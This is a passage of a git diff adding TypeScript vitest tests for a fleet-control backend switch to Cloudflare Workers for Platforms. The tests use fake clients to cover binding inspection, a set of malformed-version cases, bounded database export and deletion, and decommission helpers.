+    const exactVersion: PlainWorkerVersionDetail = {
+      versionId: 'pending-v2',
+      tag: pendingSpecDigest,
+      bindings: [
+        { type: 'd1', name: 'DB', databaseId },
+        {
+          type: 'durable-object',
+          name: 'RUNNER',
+          className: 'Runner',
+          namespaceId: 'namespace-pending',
+          scriptName: 'object-owner',
+        },
+        {
+          type: 'durable-object',
+          name: 'PENDING',
+          className: 'Pending',
+          namespaceId: 'namespace-pending-extra',
+          dispatchNamespace: 'pending-dispatch',
+        },
+        {
+          type: 'service',
+          name: 'EGRESS_PROXY',
+          service: 'egress-service',
+        },
+        {
+          type: 'queue-producer',
+          name: 'EVENTS',
+          queueName: 'events',
+        },
+        {
+          type: 'r2-bucket',
+          name: 'FILES',
+          bucketName: 'pending-files',
+        },
+        {
+          type: 'plain-text',
+          name: 'DEPLOYMENT_TENANT',
+          value: pendingSpec.tenantTag,
+        },
+        {
+          type: 'plain-text',
+          name: 'FLEET_ENVIRONMENT',
+          value: pendingSpec.environment,
+        },
+        {
+          type: 'plain-text',
+          name: 'FLEET_SCHEMA_VERSION',
+          value: String(pendingSpec.schemaVersion),
+        },
+        {
+          type: 'plain-text',
+          name: 'FLEET_SPEC_DIGEST',
+          value: pendingSpecDigest,
+        },
+        {
+          type: 'plain-text',
+          name: 'FLEET_INGRESS_CONTRACT',
+          value: 'guarded-object-v1',
+        },
+        {
+          type: 'plain-text',
+          name: 'APP_VAR',
+          value: 'application-value',
+        },
+        { type: 'secret-text', name: 'APP_SECRET' },
+        { type: 'secret-text', name: 'DEPLOYMENT_IDENTITY_SECRET' },
+        { type: 'secret-text', name: 'MAINTENANCE_ADMIN_SECRET' },
+      ],
+    };
+    let versionObservation: PlainWorkerVersionDetail | undefined = exactVersion;
+    let secretObservation: readonly string[] = [
+      'APP_SECRET',
+      'DEPLOYMENT_IDENTITY_SECRET',
+      'MAINTENANCE_ADMIN_SECRET',
+    ];
+    let versionFailure: Error | undefined;
+    let secretFailure: Error | undefined;
+    const api = {
+      findOrdinaryWorkerVersion(this: unknown) {
+        expect(this).toBe(api);
+        receiverCalls.push('version');
+        return versionFailure
+          ? Promise.reject(versionFailure)
+          : Promise.resolve(versionObservation);
+      },
+      listOrdinaryWorkerSecretNames(this: unknown) {
+        expect(this).toBe(api);
+        receiverCalls.push('secrets');
+        return secretFailure
+          ? Promise.reject(secretFailure)
+          : Promise.resolve(secretObservation);
+      },
+      getDatabase(this: unknown, id: string) {
+        expect(this).toBe(api);
+        receiverCalls.push(`database:${id}`);
+        return Promise.resolve({
+          id,
+          name: prior.databaseName,
+          created: false,
+        });
+      },
+      withMutationFence<T>(
+        this: unknown,
+        _fence: ExternalMutationFence,
+        operation: () => Promise<T>,
+      ) {
+        expect(this).toBe(api);
+        receiverCalls.push('fence');
+        return operation();
+      },
+      deleteDatabase(this: unknown, id: string) {
+        expect(this).toBe(api);
+        receiverCalls.push(`delete:${id}`);
+        return Promise.resolve();
+      },
+    } as unknown as BackendSwitchApi;
+    Object.defineProperties(api, {
+      advanceDecommissionAttachmentScan: {
+        enumerable: true,
+        get() {
+          scannerGetterReads += 1;
+          return function (this: unknown) {
+            expect(this).toBe(api);
+            receiverCalls.push('scan');
+            return Promise.resolve({ status: 'drift' as const });
+          };
+        },
+      },
+      databaseExportReceiptAuthority: {
+        enumerable: true,
+        get() {
+          receiptAuthorityGetterReads += 1;
+          return 'memory://switch-receipts/v1';
+        },
+      },
+      exportDatabaseReceipt: {
+        enumerable: true,
+        get() {
+          receiptMethodGetterReads += 1;
+          return function (
+            this: unknown,
+            identity: DatabaseExportReceiptIdentity,
+          ) {
+            expect(this).toBe(api);
+            receiverCalls.push('receipt');
+            return Promise.resolve({
+              databaseId: identity.databaseId,
+              location: 'memory://switch-receipts/v1/export.sql',
+              sha256: 'a'.repeat(64),
+              size: 1,
+            });
+          };
+        },
+      },
+    });
+    const backend = {
+      readDeploymentIdentity(
+        this: unknown,
+        _database: unknown,
+        _fence: ExternalMutationFence,
+      ) {
+        expect(this).toBe(backend);
+        receiverCalls.push('owner');
+        return Promise.resolve(pendingSpec.tenantTag);
+      },
+    } as unknown as WorkersForPlatformsBackend;
+    const subject = new WorkersForPlatformsBackendSwitchProvider({
+      client: api,
+      backend,
+      hostRoutingKvId: 'hosts-kv',
+      sharedOutboundWorkerName: 'shared-outbound',
+      stateEgressRootSecret: 'root-secret-012345678901234567890123456789',
+      platformProfileFor: () => profile,
+      assertServing: async () => {},
+      drainCandidate: async () => {},
+    });
+
+    expect(scannerGetterReads).toBe(1);
+    expect(receiptAuthorityGetterReads).toBe(1);
+    expect(receiptMethodGetterReads).toBe(1);
+    expect(
+      Object.hasOwn(subject, 'advanceSwitchDecommissionAttachmentScan'),
+    ).toBe(true);
+    expect(Object.hasOwn(subject, 'exportSwitchDatabaseReceipt')).toBe(true);
+    await subject.advanceSwitchDecommissionAttachmentScan?.({} as never);
+    const currentRecord = {
+      tenantTag: pendingSpec.tenantTag,
+      environment: pendingSpec.environment,
+      scriptName: pendingSpec.scriptName,
+      databaseId,
+      databaseName: pendingSpec.databaseName,
+      applicationBindings: pendingApplication,
+      applicationResources: [pendingApplicationResource],
+    } as unknown as FleetRecord;
+    await expect(
+      subject.captureSwitchEntryPendingArtifact({
+        expectedArtifactVersion: 'pending-v2',
+        spec: pendingSpec,
+        currentRecord,
+        fence,
+      }),
+    ).resolves.toEqual({
+      artifactVersion: 'pending-v2',
+      specDigest: pendingSpecDigest,
+      databaseIds: [databaseId],
+      durableObjectBindings: [
+        {
+          name: 'PENDING',
+          className: 'Pending',
+          namespaceId: 'namespace-pending-extra',
+          dispatchNamespace: 'pending-dispatch',
+        },
+        {
+          name: 'RUNNER',
+          className: 'Runner',
+          namespaceId: 'namespace-pending',
+          scriptName: 'object-owner',
+        },
+      ],
+      secretNames: [
+        'APP_SECRET',
+        'DEPLOYMENT_IDENTITY_SECRET',
+        'MAINTENANCE_ADMIN_SECRET',
+      ],
+      serviceBindings: [{ name: 'EGRESS_PROXY', service: 'egress-service' }],
+      queueProducerBindings: [{ name: 'EVENTS', queueName: 'events' }],
+      application: pendingApplication,
+    });
+    await expect(subject.getSwitchDatabase(databaseId)).resolves.toMatchObject({
+      id: databaseId,
+    });
+    await expect(
+      subject.readSwitchDatabaseOwner(
+        { id: databaseId, name: pendingSpec.databaseName, created: false },
+        fence,
+      ),
+    ).resolves.toBe(pendingSpec.tenantTag);
+    await expect(
+      subject.exportSwitchDatabaseReceipt?.(
+        {
+          version: 1,
+          authority: 'memory://switch-receipts/v1',
+          databaseId,
+          operationId: '00000000-0000-4000-8000-000000000002',
+        },
+        { prior: boundedPrior, targetSpec: pendingSpec, fence },
+      ),
+    ).resolves.toMatchObject({ databaseId });
+    await expect(
+      subject.deleteSwitchDatabaseBounded({
+        prior: boundedPrior,
+        targetSpec: pendingSpec,
+        database: {
+          id: databaseId,
+          name: pendingSpec.databaseName,
+          created: false,
+        },
+        fence,
+      }),
+    ).resolves.toBeUndefined();
+    expect(receiverCalls).toEqual([
+      'scan',
+      'version',
+      'secrets',
+      `database:${databaseId}`,
+      'owner',
+      'fence',
+      'receipt',
+      'fence',
+      `delete:${databaseId}`,
+    ]);
+
+    const captureInput = {
+      expectedArtifactVersion: 'pending-v2',
+      spec: pendingSpec,
+      currentRecord,
+      fence,
+    };
+    const versionReadFailure = new Error('exact version read failed');
+    versionFailure = versionReadFailure;
+    await expect(
+      subject.captureSwitchEntryPendingArtifact(captureInput),
+    ).rejects.toBe(versionReadFailure);
+    versionFailure = undefined;
+    const secretReadFailure = new Error('secret inventory read failed');
+    secretFailure = secretReadFailure;
+    await expect(
+      subject.captureSwitchEntryPendingArtifact(captureInput),
+    ).rejects.toBe(secretReadFailure);
+    secretFailure = undefined;
+
+    const mutateBinding = (
+      type: PlainWorkerVersionDetail['bindings'][number]['type'],
+      name: string,
+      patch: Readonly<Record<string, unknown>>,
+    ): PlainWorkerVersionDetail => {
+      const version = structuredClone(exactVersion);
+      const binding = version.bindings.find(
+        (candidate) => candidate.type === type && candidate.name === name,
+      );
+      if (!binding) throw new Error(`missing ${type}:${name} binding`);
+      Object.assign(binding as unknown as Record<string, unknown>, patch);
+      return version;
+    };
+    const malformedRows: readonly Readonly<{
+      label: string;
+      version: PlainWorkerVersionDetail | undefined;
+      secrets: readonly string[];
+    }>[] = [
+      {
+        label: 'absent exact version',
+        version: undefined,
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong exact version id',
+        version: { ...exactVersion, versionId: 'pending-v3' },
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong exact version tag',
+        version: { ...exactVersion, tag: 'd'.repeat(64) },
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong D1 identifier',
+        version: mutateBinding('d1', 'DB', { databaseId: 'foreign-database' }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong D1 binding name',
+        version: mutateBinding('d1', 'DB', { name: 'FOREIGN_DB' }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong Durable Object name',
+        version: mutateBinding('durable-object', 'RUNNER', {
+          name: 'FOREIGN_RUNNER',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong Durable Object class',
+        version: mutateBinding('durable-object', 'RUNNER', {
+          className: 'ForeignRunner',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong Durable Object script selector',
+        version: mutateBinding('durable-object', 'RUNNER', {
+          scriptName: 'foreign-owner',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong Durable Object dispatch selector',
+        version: mutateBinding('durable-object', 'PENDING', {
+          dispatchNamespace: 'foreign-dispatch',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong Durable Object namespace',
+        version: mutateBinding('durable-object', 'PENDING', {
+          namespaceId: 'namespace-pending',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong tenant plain-text fact',
+        version: mutateBinding('plain-text', 'DEPLOYMENT_TENANT', {
+          value: 'foreign-tenant',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong environment plain-text fact',
+        version: mutateBinding('plain-text', 'FLEET_ENVIRONMENT', {
+          value: 'foreign-environment',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong schema plain-text fact',
+        version: mutateBinding('plain-text', 'FLEET_SCHEMA_VERSION', {
+          value: '999',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong digest plain-text fact',
+        version: mutateBinding('plain-text', 'FLEET_SPEC_DIGEST', {
+          value: 'd'.repeat(64),
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong ingress plain-text fact',
+        version: mutateBinding('plain-text', 'FLEET_INGRESS_CONTRACT', {
+          value: 'foreign-ingress',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong application plain-text fact',
+        version: mutateBinding('plain-text', 'APP_VAR', {
+          value: 'foreign-value',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong service name',
+        version: mutateBinding('service', 'EGRESS_PROXY', {
+          name: 'FOREIGN_SERVICE',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong service target',
+        version: mutateBinding('service', 'EGRESS_PROXY', {
+          service: 'foreign-service',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong queue binding name',
+        version: mutateBinding('queue-producer', 'EVENTS', {
+          name: 'FOREIGN_QUEUE',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong queue target',
+        version: mutateBinding('queue-producer', 'EVENTS', {
+          queueName: 'foreign-events',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong R2 binding name',
+        version: mutateBinding('r2-bucket', 'FILES', {
+          name: 'FOREIGN_FILES',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong R2 bucket',
+        version: mutateBinding('r2-bucket', 'FILES', {
+          bucketName: 'foreign-files',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'wrong present R2 jurisdiction',
+        version: mutateBinding('r2-bucket', 'FILES', {
+          jurisdiction: 'fedramp',
+        }),
+        secrets: secretObservation,
+      },
+      {
+        label: 'duplicate authoritative secret',
+        version: exactVersion,
+        secrets: [
+          'APP_SECRET',
+          'DEPLOYMENT_IDENTITY_SECRET',
+          'DEPLOYMENT_IDENTITY_SECRET',
+        ],
+      },
+      {
+        label: 'missing authoritative secret',
+        version: exactVersion,
+        secrets: ['APP_SECRET', 'DEPLOYMENT_IDENTITY_SECRET'],
+      },
+      {
+        label: 'version secret disagreement',
+        version: {
+          ...exactVersion,
+          bindings: exactVersion.bindings.filter(
+            (binding) =>
+              binding.type !== 'secret-text' ||
+              binding.name !== 'MAINTENANCE_ADMIN_SECRET',
+          ),
+        },
+        secrets: [
+          'APP_SECRET',
+          'DEPLOYMENT_IDENTITY_SECRET',
+          'MAINTENANCE_ADMIN_SECRET',
+        ],
+      },
+      {
+        label: 'unexpected service entrypoint',
+        version: mutateBinding('service', 'EGRESS_PROXY', {
+          entrypoint: 'Admin',
+        }),
+        secrets: [
+          'APP_SECRET',
+          'DEPLOYMENT_IDENTITY_SECRET',
+          'MAINTENANCE_ADMIN_SECRET',
+        ],
+      },
+      {
+        label: 'malformed supported binding',
+        version: {
+          ...exactVersion,
+          bindings: [
+            ...exactVersion.bindings,
+            {
+              type: 'unsupported',
+              name: 'MALFORMED',
+              providerType: 'secret_text',
+              issue: 'malformed-supported-binding',
+            },
+          ],
+        },
+        secrets: [
+          'APP_SECRET',
+          'DEPLOYMENT_IDENTITY_SECRET',
+          'MAINTENANCE_ADMIN_SECRET',
+        ],
+      },
+    ];
+    for (const row of malformedRows) {
+      versionObservation = row.version;
+      secretObservation = row.secrets;
+      let error: unknown;
+      try {
+        await subject.captureSwitchEntryPendingArtifact(captureInput);
+      } catch (caught) {
+        error = caught;
+      }
+      expect({ label: row.label, message: (error as Error).message }).toEqual({
+        label: row.label,
+        message: 'backend switch pending artifact inspection is malformed',
+      });
+    }
+    versionObservation = exactVersion;
+    secretObservation = [
+      'APP_SECRET',
+      'DEPLOYMENT_IDENTITY_SECRET',
+      'MAINTENANCE_ADMIN_SECRET',
+    ];
+    await expect(
+      subject.captureSwitchEntryPendingArtifact({
+        ...captureInput,
+        currentRecord: {
+          ...currentRecord,
+          applicationBindings: {
+            ...pendingApplication,
+            secrets: [{ name: 'APP_SECRET', valueSha256: 'd'.repeat(64) }],
+          },
+        },
+      }),
+    ).rejects.toThrow(
+      'backend switch pending artifact inspection is malformed',
+    );
+  });
+
+  it('separates bounded switch D1 residuals from legacy attachment enumeration', async () => {
+    let attachmentLists = 0;
+    let bulkNamespaceLists = 0;
+    let deletes = 0;
+    let bulkFailure: Error | undefined;
+    const database = {
+      id: prior.databaseId,
+      name: prior.databaseName,
+      created: false,
+    };
+    const pendingSpec: DeploymentSpec = {
+      ...priorSpec,
+      durableObjectBindings: [
+        ...priorSpec.durableObjectBindings,
+        { name: 'PENDING', className: 'Pending' },
+      ],
+    };
+    const pendingNamespaceIds = ['namespace-pending', 'namespace-runner'];
+    let pendingArtifactVersion = 'pending-v2';
+    let trafficMutations = 0;
+    const pendingSubject = provider({
+      inspectControlWorker: async () =>
+        completeProviderBindingInspection({
+          artifactVersion: pendingArtifactVersion,
+          databaseIds: [prior.databaseId],
+          durableObjectBindings: [
+            ...prior.durableObjectBindings,
+            {
+              name: 'PENDING',
+              className: 'Pending',
+              namespaceId: 'namespace-pending',
+            },
+          ],
+          serviceBindings: [],
+          queueProducerBindings: [],
+          r2BucketBindings: [],
+          kvNamespaceBindings: [],
+          secretNames: [
+            'DEPLOYMENT_IDENTITY_SECRET',
+            'MAINTENANCE_ADMIN_SECRET',
+          ],
+          plainTextBindings: {
+            DEPLOYMENT_TENANT: pendingSpec.tenantTag,
+            FLEET_ENVIRONMENT: pendingSpec.environment,
+            FLEET_SCHEMA_VERSION: String(pendingSpec.schemaVersion),
+            FLEET_SPEC_DIGEST: deploymentSpecDigest(pendingSpec),
+            FLEET_INGRESS_CONTRACT: 'guarded-object-v1',
+          },
+          workersDevEnabled: true,
+          previewUrlsEnabled: false,
+          routeHostnames: [],
+          zoneRoutes: [],
+        }),
+      listDurableObjectNamespaces: async () => pendingNamespaceIds,
+      inspectOrdinaryWorkerFootprint: async () => ordinaryFootprint(),
+      getHostRouting: async () => undefined,
+      deleteHostRouting: async () => {
+        trafficMutations += 1;
+      },
+      listCustomDomains: async () => [],
+      disableOrdinaryWorkerPublicAccess: async () => {
+        trafficMutations += 1;
+      },
+      withMutationFence: async (_fence, operation) => operation(),
+    });
+    const pendingAuthority = {
+      prior,
+      priorSpec,
+      targetSpec,
+      allowedArtifactVersions: [prior.artifactVersion],
+      tenantTag: targetSpec.tenantTag,
+      environment: targetSpec.environment,
+      routeHostname: targetSpec.routeHostname,
+      routeTargets: [],
+      entryPendingArtifact: {
+        artifactVersion: pendingArtifactVersion,
+        namespaceIds: pendingNamespaceIds,
+        spec: pendingSpec,
+      },
+      fence,
+    };
+    await expect(
+      pendingSubject.removeSwitchTraffic(pendingAuthority),
+    ).resolves.toBeUndefined();
+    expect(trafficMutations).toBe(2);
+    pendingArtifactVersion = prior.artifactVersion;
+    await expect(
+      pendingSubject.removeSwitchTraffic({
+        ...pendingAuthority,
+        entryPendingArtifact: {
+          ...pendingAuthority.entryPendingArtifact,
+          artifactVersion: prior.artifactVersion,
+        },
+      }),
+    ).rejects.toThrow('refusing to delete a foreign backend-switch bridge');
+    expect(trafficMutations).toBe(2);
+
+    const client: Partial<BackendSwitchApi> = {
+      getDatabase: async () => database,
+      withMutationFence: async (_fence, operation) => operation(),
+      getHostRouting: async () => undefined,
+      listCustomDomains: async () => [],
+      inspectOrdinaryWorkerFootprint: async () =>
+        ordinaryFootprint({
+          scriptPresent: false,
+          workersDevEnabled: false,
+          previewUrlsEnabled: false,
+        }),
+      inspectControlWorker: async () => undefined,
+      inspectDispatchWorker: async () => undefined,
+      getScriptInventory: async () => undefined,
+      existingDurableObjectNamespaceIds: async () => {
+        bulkNamespaceLists += 1;
+        if (bulkFailure) throw bulkFailure;
+        return [];
+      },
+      listWorkerDatabaseAttachments: async () => {
+        attachmentLists += 1;
+        return [];
+      },
+      exportDatabase: async (databaseId) => ({
+        databaseId,
+        location: 'memory://legacy/export.sql',
+        sha256: 'b'.repeat(64),
+        size: 1,
+      }),
+      deleteDatabase: async () => {
+        deletes += 1;
+      },
+    };
+    const subject = provider(client, {
+      readDeploymentIdentity: async () => priorSpec.tenantTag,
+    });
+    const snapshot = {
+      prior,
+      restoredArtifactVersion: null,
+      entryPendingArtifactVersion: null,
+      entryPendingNamespaceIds: null,
+      providerTargetSpecDigest: deploymentSpecDigest(targetSpec),
+      routeHostname: targetSpec.routeHostname,
+      routeTargets: [],
+      desiredSpecDigest: deploymentSpecDigest(targetSpec),
+      target,
+      releases: [{ release, subphase: 'deleted' as const }],
+      applicationResources: [],
+    };
+    const currentRecord = {
+      backendSwitchIntent: { decommissionSnapshot: snapshot },
+    } as unknown as FleetRecord;
+
+    const residualFailure = new Error('bulk namespace residual failed');
+    bulkFailure = residualFailure;
+    await expect(
+      subject.assertSwitchDatabaseDeletionResidualsRemoved({
+        prior,
+        targetSpec,
+        currentRecord,
+        database,
+        fence,
+      }),
+    ).rejects.toBe(residualFailure);
+    expect(attachmentLists).toBe(0);
+    expect(deletes).toBe(0);
+    bulkFailure = undefined;
+    await expect(
+      subject.assertSwitchDatabaseDeletionResidualsRemoved({
+        prior,
+        targetSpec,
+        currentRecord,
+        database,
+        fence,
+      }),
+    ).resolves.toBeUndefined();
+    expect(attachmentLists).toBe(0);
+    expect(bulkNamespaceLists).toBe(2);
+    await expect(
+      subject.deleteSwitchDatabaseBounded({
+        prior,
+        targetSpec,
+        database,
+        fence,
+      }),
+    ).resolves.toBeUndefined();
+    expect(attachmentLists).toBe(0);
+    expect(deletes).toBe(1);
+
+    await expect(
+      subject.exportSwitchDatabase({ prior, targetSpec, fence }),
+    ).resolves.toMatchObject({ databaseId: prior.databaseId });
+    expect(attachmentLists).toBe(1);
+  });
 });
diff --git a/packages/fleet-control/test/backend-switch.test.ts b/packages/fleet-control/test/backend-switch.test.ts
index cb0f895a..81638a12 100644
--- a/packages/fleet-control/test/backend-switch.test.ts
+++ b/packages/fleet-control/test/backend-switch.test.ts
@@ -1,10 +1,17 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 import {
+  applicationBindingTopology,
+  reserveApplicationR2Resources,
+} from '../src/application-bindings.js';
+import {
+  advanceBackendSwitchDecommission,
   type BackendSwitchIntent,
   type BackendSwitchProvider,
   type BridgeSnapshot,
+  backendSwitchDecommissionShell,
+  backendSwitchDecommissionSnapshotDigest,
   backendSwitchIntentFromUnknown,
   decommissionBackendSwitch,
   finalizeBackendSwitch,
@@ -12,6 +19,7 @@ import {
   reconcileFinalizedBackendSwitchState,
   rollbackBackendSwitch,
   switchPlainDeploymentToWorkersForPlatforms,
+  withBackendSwitchLease,
 } from '../src/backend-switch.js';
 import {
   canonicalDeploymentEgressPolicy,
@@ -25,6 +33,7 @@ import {
 import { deploymentSpecDigest } from '../src/spec-digest.js';
 import type {
   ApplicationR2Resource,
+  DecommissionAdvanceIntent,
   DeploymentSpec,
   ExternalPlatformTargetDescription,
   ExternalReleaseSnapshot,
@@ -37,6 +46,7 @@ import {
   composeLegacyBridgeArtifact,
   LEGACY_APPLICATION_MODULE_PLACEHOLDER,
 } from '../src/workers-for-platforms-backend-switch-provider.js';
+import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js';
 
 function spec(authoredBy: 'platform' | 'external'): DeploymentSpec {
   return {
@@ -60,6 +70,23 @@ function spec(authoredBy: 'platform' | 'external'): DeploymentSpec {
 
 const priorSpec = spec('platform');
 const targetSpec = spec('external');
+
+function switchApplicationR2Resource(
+  name: string,
+  jurisdiction: ApplicationR2Resource['jurisdiction'],
+  creationDate: string,
+): ApplicationR2Resource {
+  const [reserved] = reserveApplicationR2Resources({
+    ...targetSpec,
+    application: {
+      vars: [],
+      secrets: [],
+      r2Buckets: [{ name, jurisdiction }],
+    },
+  });
+  if (!reserved) throw new Error('missing reserved application R2 resource');
+  return { ...reserved, state: 'created', creationDate };
+}
 const target: ExternalPlatformTargetDescription = {
   maintenanceCapabilityPublicKey:
     '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}',
@@ -121,12 +148,24 @@ class MemorySwitchStore implements FleetStateStore {
   failAfterCommittedReleaseDelete = false;
   failAfterCommittedTrafficAuthorization = false;
   failAfterCommittedTrafficRemoval = false;
+  failNextPutBeforeCommit: Error | undefined;
+  failNextPutAfterCommit: Error | undefined;
+  nextGet: FleetRecord | undefined;
+  nextGetAfterCommittedFailure: FleetRecord | undefined;
+  getCalls = 0;
+  putCalls = 0;
 
   get intent(): BackendSwitchIntent | undefined {
     return this.record.backendSwitchIntent;
   }
 
   async get(): Promise<FleetRecord> {
+    this.getCalls += 1;
+    if (this.nextGet) {
+      const next = this.nextGet;
+      this.nextGet = undefined;
+      return next;
+    }
     return this.record;
   }
 
@@ -147,7 +186,20 @@ class MemorySwitchStore implements FleetStateStore {
       renew: async () => {},
       delete: async () => {},
       put: async (record) => {
+        this.putCalls += 1;
+        if (this.failNextPutBeforeCommit) {
+          const error = this.failNextPutBeforeCommit;
+          this.failNextPutBeforeCommit = undefined;
+          throw error;
+        }
         this.record = structuredClone(record);
+        if (this.failNextPutAfterCommit) {
+          const error = this.failNextPutAfterCommit;
+          this.failNextPutAfterCommit = undefined;
+          this.nextGet = this.nextGetAfterCommittedFailure;
+          this.nextGetAfterCommittedFailure = undefined;
+          throw error;
+        }
         if (record.backendSwitchIntent) {
           this.phases.push(record.backendSwitchIntent.subphase);
         }
@@ -231,18 +283,28 @@ class FakeSwitchProvider implements BackendSwitchProvider {
     stateOnly: false,
   };
 
-  async snapshotPlainDeployment(): Promise<PlainBackendSnapshot> {
+  async snapshotPlainDeployment(
+    selectedPriorSpec: DeploymentSpec,
+  ): Promise<PlainBackendSnapshot> {
     this.calls.push('snapshot');
     return {
       scriptName: priorSpec.scriptName,
       artifactVersion: 'plain-v1',
-      specDigest: deploymentSpecDigest(priorSpec),
+      specDigest: deploymentSpecDigest(selectedPriorSpec),
       databaseId: 'db-acme',
       databaseName: priorSpec.databaseName,
       durableObjectBindings: this.bridge.durableObjectBindings,
       namespaceIds: this.bridge.namespaceIds,
       secretNames: ['DEPLOYMENT_IDENTITY_SECRET', 'MAINTENANCE_ADMIN_SECRET'],
       applicationResources: this.applicationResources,
+      ...(this.applicationResources.length > 0
+        ? {
+            application: applicationBindingTopology(
+              selectedPriorSpec,
+              this.applicationResources,
+            ),
+          }
+        : {}),
       customDomain: { id: 'domain-1', hostname: priorSpec.routeHostname },
     };
   }
@@ -286,24 +348,30 @@ class FakeSwitchProvider implements BackendSwitchProvider {
     return this.failBridgeResponseOnce ? undefined : this.bridge;
   }
 
-  async ensureCandidate() {
+  async ensureCandidate(
+    input: Parameters<BackendSwitchProvider['ensureCandidate']>[0],
+  ) {
     this.calls.push('candidate');
+    const application = applicationBindingTopology(
+      input.targetSpec,
+      this.applicationResources,
+    );
     return {
       physicalScriptName: 'acme-candidate',
-      specDigest: deploymentSpecDigest(targetSpec),
+      specDigest: deploymentSpecDigest(input.targetSpec),
       artifactVersion: 'candidate-v1',
       releaseSchemaVersion: 1,
-      application: { vars: [], secrets: [], r2Buckets: [] },
+      application,
       topology: {
         durableObjectBindings: this.bridge.durableObjectBindings,
         serviceBindings: [],
         queueProducerBindings: [],
         secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
-        application: { vars: [], secrets: [], r2Buckets: [] },
+        application,
       },
       maintenance: {
         receipt: 'maintenance-receipt-v1',
-        specDigest: deploymentSpecDigest(targetSpec),
+        specDigest: deploymentSpecDigest(input.targetSpec),
       },
     };
   }
@@ -367,7 +435,6 @@ class FakeSwitchProvider implements BackendSwitchProvider {
           input.target.sharedOutboundWorkerName ?? 'fleet-shared-outbound',
       },
       phase: 'ready' as const,
-      migrationIntent: undefined,
     };
   }
   async routePlainDomainToBridge() {
@@ -537,6 +604,153 @@ function switchOptions(store: MemorySwitchStore, provider: FakeSwitchProvider) {
   };
 }
 
+class BoundedFakeSwitchProvider extends FakeSwitchProvider {
+  readonly databaseExportReceiptAuthority = 'test-receipts';
+  databasePresent = true;
+  scanCalls = 0;
+  receiptCalls = 0;
+  boundedDeleteCalls = 0;
+  blockScans = false;
+
+  async advanceSwitchDecommissionAttachmentScan() {
+    this.scanCalls += 1;
+    if (this.blockScans) {
+      return {
+        status: 'attached' as const,
+        attachment: {
+          plane: 'ordinary' as const,
+          scriptName: 'foreign-worker',
+        },
+        providerFetchAttemptsReserved: 1,
+      };
+    }
+    return {
+      status: 'complete' as const,
+      evidenceSha256: '7'.repeat(64),
+      evidenceCount: 2,
+      providerFetchAttemptsReserved: 1,
+    };
+  }
+
+  async exportSwitchDatabaseReceipt() {
+    this.receiptCalls += 1;
+    return {
+      databaseId: BOUNDED_DATABASE_ID,
+      location: 'r2://exports/acme-bounded.sql',
+      sha256: '6'.repeat(64),
+      size: 456,
+    };
+  }
+
+  async getSwitchDatabase() {
+    return this.databasePresent
+      ? {
+          id: BOUNDED_DATABASE_ID,
+          name: priorSpec.databaseName,
+          created: false as const,
+        }
+      : undefined;
+  }
+
+  async readSwitchDatabaseOwner() {
+    return priorSpec.tenantTag;
+  }
+
+  async assertSwitchDatabaseDeletionResidualsRemoved() {}
+
+  async deleteSwitchDatabaseBounded() {
+    this.boundedDeleteCalls += 1;
+    this.databasePresent = false;
+  }
+
+  override async exportSwitchDatabase() {
+    this.calls.push('decommission-export');
+    return {
+      databaseId: BOUNDED_DATABASE_ID,
+      location: 'r2://exports/acme-legacy.sql',
+      sha256: '5'.repeat(64),
+      size: 321,
+    };
+  }
+
+  override async deleteSwitchDatabase() {
+    this.calls.push('decommission-database');
+    this.databasePresent = false;
+  }
+}
+
+const BOUNDED_DATABASE_ID = '11111111-1111-1111-1111-111111111111';
+
+function bindBoundedDatabase(
+  store: MemorySwitchStore,
+  provider: BoundedFakeSwitchProvider,
+): void {
+  const intent = store.intent;
+  if (!intent) throw new Error('switch intent is missing');
+  const bridge = intent.bridge
+    ? { ...intent.bridge, databaseId: BOUNDED_DATABASE_ID }
+    : undefined;
+  provider.bridge = { ...provider.bridge, databaseId: BOUNDED_DATABASE_ID };
+  store.record = {
+    ...store.record,
+    databaseId: BOUNDED_DATABASE_ID,
+    backendSwitchIntent: {
+      ...intent,
+      prior: { ...intent.prior, databaseId: BOUNDED_DATABASE_ID },
+      ...(bridge ? { bridge } : {}),
+    },
+  };
+}
+
+function boundedOptions(
+  store: MemorySwitchStore,
+  provider: BoundedFakeSwitchProvider,
+  action: import('../src/decommission-advance.js').DecommissionAdvanceAction,
+  selectedTargetSpec: DeploymentSpec = targetSpec,
+  selectedPriorSpec: DeploymentSpec = priorSpec,
+) {
+  return {
+    store,
+    provider,
+    priorSpec: selectedPriorSpec,
+    targetSpec: selectedTargetSpec,
+    currentSpec: selectedTargetSpec,
+    action,
+    maxProviderRequests: 9,
+    clock: () => Date.parse('2026-08-13T00:00:00.000Z'),
+    randomUUID: () => '123e4567-e89b-42d3-a456-426614174000',
+  };
+}
+
+async function driveBoundedSwitch(
+  store: MemorySwitchStore,
+  provider: BoundedFakeSwitchProvider,
+  selectedTargetSpec: DeploymentSpec = targetSpec,
